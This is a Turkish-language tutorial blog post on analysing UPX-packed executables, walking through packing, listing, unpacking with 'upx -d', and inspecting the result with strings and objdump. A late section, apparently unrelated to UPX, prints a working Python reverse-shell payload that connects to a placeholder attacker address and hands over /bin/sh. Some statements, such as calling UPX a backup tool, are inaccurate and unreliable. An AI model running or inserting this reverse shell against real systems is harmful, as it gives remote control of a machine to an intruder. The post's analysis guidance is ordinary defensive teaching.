CyberFlow Logo CyberFlow 📚 Blog

UPX - Paketlenmiş binary inceleme

✍️ Ahmet BİRKAN 📂 kali_tools_zararli_yazilim_analizi
UPX - Paketlenmiş binary inceleme Giriş Giriş UPX (Ultimate Packer for eXecutables), çeşitli yürütülebilir dosya formatlarını sıkıştırmak için kullanılan bir a…
UPX - Paketlenmiş binary inceleme

UPX - Paketlenmiş binary inceleme

Giriş

Giriş

UPX (Ultimate Packer for eXecutables), çeşitli yürütülebilir dosya formatlarını sıkıştırmak için kullanılan bir araçtır. UPX, sıkıştırılmış dosyaların yeniden açıldığında orijinal dosyalarının çalışma işlevselliğini koruması amacıyla tasarlanmıştır. Yürütülebilir dosyaların boyutlarını küçültmesi, depolama alanından tasarruf sağlamasının yanı sıra, dağıtım süreçlerini de kolaylaştırmaktadır. Siber güvenlik bağlamında ise, UPX ve benzeri paketleme araçlarının kullanımı, kötü amaçlı yazılımların gizlenmesi veya obfuscation (maskelenme) teknikleri ile ilgili çeşitli tehditler ortaya çıkarmaktadır.

UPX'in Teknik Temelleri

UPX, hedef yürütülebilir dosyayı analiz ederek, en az yer kaplayacak şekilde sıkıştırma yöntemleri uygular. Sıkıştırılan bileşenler, çalıştırılmadan önce dinamik olarak açılır. Bu süreç, kullanıcılar için genellikle dikkate değer bir yükleme süresi veya performans kaybı yaratmaz. UPX, çok sayıda platformda ve dosya formatında kullanılabilmektedir. Örneğin, Windows’un EXE formatı, Linux’un ELF formatı ve MacOS’un Mach-O formatı gibi pek çok sistemde desteklenmektedir.

Neden Önemlidir?

UPX gibi paketleme araçlarının kullanımı, birçok fayda sağlarken bazı riskler de beraberinde getirir. Yazılım geliştiricileri, uygulamalarının daha az alan kaplamasını ve daha hızlı bir şekilde dağıtılmasını istediklerinde bu tür araçlardan faydalanurlar. Bununla birlikte, siber güvenlik açısından, kötü niyetli kullanıcılar tarafından sıkıştırılmış dosyalar; virüsleri, trojanları ve diğer zararlı yazılımları gizlemek için kullanılabilir. Bu nedenle, UPX gibi araçların analiz edilmesi siber güvenlik uzmanları için kritik bir beceri haline gelmiştir.

Kullanım Alanları ve Siber Güvenlik

UPX, genellikle yazılım geliştirme süreçlerinde ve lisans koruma mekanizmaları üzerinde çalışırken tercih edilir. Uygulama boyutunu küçültmek, kaynak kullanımını optimize etmek ve yükleme sürelerini azaltmak için yaygın bir yöntemdir. Ancak, kötü amaçlı yazılımlar üzerinde de sıklıkla kullanıldığı için, siber güvenlik uzmanları bu zararlı yazılımları analiz etmekte önemli bir role sahiptir. Kötü niyetli yazılımlar, UPX ile paketlenerek kullanıcılardan gizlenmeye çalışabilir. Bu durum, analiz süreçlerini zorlaştırarak, güvenlik uzmanlarının potansiyel tehditleri tespit etmelerini engelleyebilir.

Geliştiriciler ve güvenlik uzmanları, UPX kullanarak oluşturulmuş ve paketlenmiş yürütülebilir dosyaları analiz ederken belirli teknik bilgileri göz önünde bulundurmalıdır. UPX, sıkıştırılmış dosyaların iç yapısını etkileyen pek çok parametre ve ayar sunmaktadır. Ayrıca, dosyaların açılması için gereken dinamik yükleme işlemi, güvenlik analizi için kritik bir aşama haline gelir. Sıkıştırılmış dosyaların iç içe geçmiş yapısı, kötü amaçlı yazılımların gizlenmesini kolaylaştırır; bu nedenle güvenlik araştırmaları sırasında derinlemesine analiz gereklidir.

Sonuç olarak, UPX ve benzeri araçların varlığı, yazılım geliştirme süreçlerine ve dağıtıma önemli katkılarda bulunsa da, siber güvenlik alanında riskleri de beraberinde getirmektedir. Bu nedenle, UPX ile paketlenmiş yürütülebilir dosyaların incelenmesi, hem yazılım geliştirenler hem de siber güvenlik profesyonelleri için sürdürülebilir bir uygulama haline gelmelidir.

Teknik Detay

UPX Nedir?

UPX (Ultimate Packer for eXecutables), özellikle yürütülebilir dosyaların boyutunu sıkıştırmak için kullanılan bir araçtır. Bu sıkıştırma işlemi, dosyaların hızlı bir şekilde indirilebilmesi, depolanabilmesi ve dağıtılabilmesi için önemli avantajlar sunar. Ancak, sıkıştırılmış bir binary'nin analiz edilmesi, özellikle siber güvenlik alanında karmaşık olabilir. Bu nedenle UPX ile paketlenmiş binary'lerin incelemesi, siber güvenlik uzmanları için kritik bir beceridir.

UPX'in Çalışma Mantığı

UPX, bir yürütülebilir dosyayı sıkıştırırken, genellikle kullanılan yöntemler arasında LZ77 algoritması, Huffman kodlaması ve çeşitli diğer sıkıştırma teknikleri bulunmaktadır. Bu sayede, sıkıştırılmış dosya, orijinal dosyaya göre önemli ölçüde daha küçük bir boyuta ulaşabilir. Sıkıştırılmış bir program, çalıştırıldığında, UPX'in entegre ettiği dekompresyon kodu aracılığıyla bellekte açılır. Sonuç olarak, kullanıcı bu programı normal bir uygulama gibi çalıştırabilir.

Sıkıştırma ve Açma Süreci

UPX'in çalışma süreci iki ana aşamadan oluşur: sıkıştırma ve açma. Bu süreci daha iyi anlamak için aşağıda her iki adımı detaylandıracağız.

  1. Sıkıştırma:

Sıkıştırma işlemi, kullanıcı tarafından sağlanan yürütülebilir dosyanın analiz edilmesiyle başlar. UPX, programın iç yapısını tarar ve kullanılabilir alanları belirler. Sonrasında, tüm bu veriler sıkıştırılır.

upx --best --lzma example.exe

Yukarıdaki komut, example.exe dosyasını en iyi sıkıştırma yöntemini kullanarak LZMA algoritması ile sıkıştırır.

  1. Açma:

Bir yürütülebilir dosya çalıştırıldığında, UPX, programın başlangıcındaki özel bilgileri okuyarak dekompresyon sürecini başlatır. Bu süreç eğilimle implementasyon detaylarına bağlıdır. Eğer bir dosya UPX ile paketlenmişse, ilk byte'lar genellikle UPX'e özgü bir başlık içerir.

Analiz Bakış Açısı

UPX ile paketlenmiş bir binary analiz edilmeden önce, öncelikle dosyanın doğru bir biçimde sıkıştırılıp sıkıştırılmadığını kontrol etmek gereklidir. UPX, genellikle dosyanın sonunda kendine ait bir yapıyı tutar. Bunun için upx -l komutu kullanılabilir.

upx -l example.exe

Yukarıdaki komut, example.exe dosyasının yapısını ve sıkıştırma bilgilerini listeleyecektir. Bu, analizciye dosyanın ne kadar sıkıştırıldığı ve hangi yöntemlerin kullanıldığı hakkında bilgi verir.

Dikkat Edilmesi Gereken Noktalar

UPX gibi sıkıştırma araçları, kötü niyetli yazılımlar tarafından da kullanılabilir. Bu nedenle, bir binary'nin UPX ile paketlenmiş olması, onun zararlı olduğu anlamına gelmez. Ancak, buna dair yapılan analizler, şunları içerir:

Sonuç

Paketlenmiş bir binary incelemesi, siber güvenlik uzmanları için önemli bir yetkinliktir. UPX, az yer kaplayan fakat yoğun şekilde kullanılan bir araçtır. Bu nedenle, UPX ile sıkıştırılmış dosyaların nasıl çalıştığını, analiz süreçlerinin nasıl gerçekleştirileceğini ve potansiyel tehditlerin nasıl tespit edileceğini anlamak, siber güvenlik alanında kritik bir öneme sahiptir. Dikkatli bir inceleme, potansiyel zararlıları gün yüzüne çıkartabilir ve sistem güvenliğini artırabilir.

İleri Seviye

UPX - Paketlenmiş Binary İnceleme

UPX, yani Ultimate Packer for eXecutables, birçok platformda kullanılabilen bir açık kaynak yedekleme aracı olarak bilinir. Birçok sızma testi ve güvenlik analizi senaryosunda, sıkıştırılmış binary dosyalarını incelemek, potansiyel güvenlik açıklarını ortaya çıkarmak açısından son derece önemlidir. Bu bölümde, UPX ile sıkıştırılmış binary dosyalarının analizi için ileri seviye yöntemleri ele alacağız.

Binary Dosyaların Anlaşılması

Sızma testlerinde genellikle, hedef sistemde bulunan ya da indirilen binary dosyalar, kötü niyetli kodlar içerebileceği için detaylı bir incelemeye tabi tutulmalıdır. UPX ile sıkıştırılmış yazılım dosyalarının analizi, bu tür dosyaların iç yapısını anlamada kritik rol oynar.

UPX ile Binary Dosyaların Çıkarılması

UPX, binary dosyalarını sıkıştırmakla kalmaz, aynı zamanda bu dosyaların orijinal haline geri dönüştürülmesini sağlar. Öncelikle, sıkıştırılmış bir binary dosyasını deşifre etmek için UPX'ı kullanarak şu komutu verebiliriz:

upx -d <binary_file>

Buradaki <binary_file>, analiz etmek istediğiniz dosyanın adıdır. Örneğin, örnek bir binary dosyası olan sample.elf dosyasını çıkaralım:

upx -d sample.elf

Bu komut, sample.elf dosyasını sıkıştırılmış formatından çıkararak orijinal haline getirir. Çıkarma işleminden sonra, artık dosyayı daha detaylı bir şekilde inceleyebiliriz.

Sızma Testlerinde Kullanım Senaryoları

UPX ile çıkarılan binary dosyalarının içerdiği yapıların analizi, şüpheli işlevlerin belirlenmesine yardımcı olur. Örneğin, kötü niyetli bir yazılımın işlevlerini anlamak için string analizi yapabiliriz. Aşağıda, strings komutunu kullanarak bir binary dosyasındaki stringleri çıkarma işlemine dair bir örnek verilmiştir:

strings sample

Bu işlem, binary dosyada bulunan metin dizilerini listeleyecektir. Elde edilen bilgiler, yazılımdaki şüpheli alanları ortaya çıkarmak için kullanılabilir.

Sıkıştırılmış Binary Analizinde İpuçları

Sızma testlerinde efektif olabilmek için, binary dosyalarının potansiyel özelliklerini ve nasıl çalıştıklarını anlamak kritik önem taşır. Aşağıdaki ipuçları, UPX ve benzeri sıkıştırma araçları ile çalışırken size yardımcı olabilir:

  1. Hash Koruması: Sıkıştırılmış dosyaların hash'lerini inceleyin, bu sayede dosyanın orijinal haliyle karşılaştırıldığında değişiklik olup olmadığını kontrol edebilirsiniz.

  2. Dinamik Analiz: Çıkarılan binary dosyası üzerinde bir debugger kullanarak dinamik analizler yapın. Ghidra ya da radare2 gibi araçlar, ilerideki analizler için yararlı olabilir.

  3. Statik Analiz: Binary dosyasını ayrıştırabilirsiniz. İşte objdump aracını kullanarak statik analiz örneği:

objdump -d sample

Bu komut, belirtilen programın assembly kodunu gösterir ve yazılımın kontrol akışını anlamanıza yardımcı olur.

Örnek Payload Kullanımı

UPX ile paketlenmiş bir binary dosyasını test etmek için, basit bir payload oluşturabiliriz. Aşağıda, reverse shell payload'ı oluşturulmuştur. Python ile yazılmış basit bir örnek:

import socket
import os

s = socket.socket()
s.connect(("ATTACKER_IP", PORT))
os.dup2(s.fileno(), 0)  # stdin
os.dup2(s.fileno(), 1)  # stdout
os.dup2(s.fileno(), 2)  # stderr
os.system("/bin/sh")  # shell

Bu payload, hedef sistemle bir bağlantı kurarak shell erişimi sağlar. Ancak, bu tür eylemlerde yasal izin alınması gerektiğini unutmayın.

Sonuç

UPX ile paketlenmiş binary dosyalarını incelemek, modern güvenlik testlerinde karşılaştığımız önemli bir süreçtir. Yukarıda bahsedilen teknikler ve ipuçları, bu işlemlerin ileri seviye analizinde size rehberlik edecektir. Binary incelemede UPX gibi araçların etkili kullanımı, potansiyel zararlı yazılımların ve güvenlik açıklarının tespit edilmesinde büyük fark yaratabilir.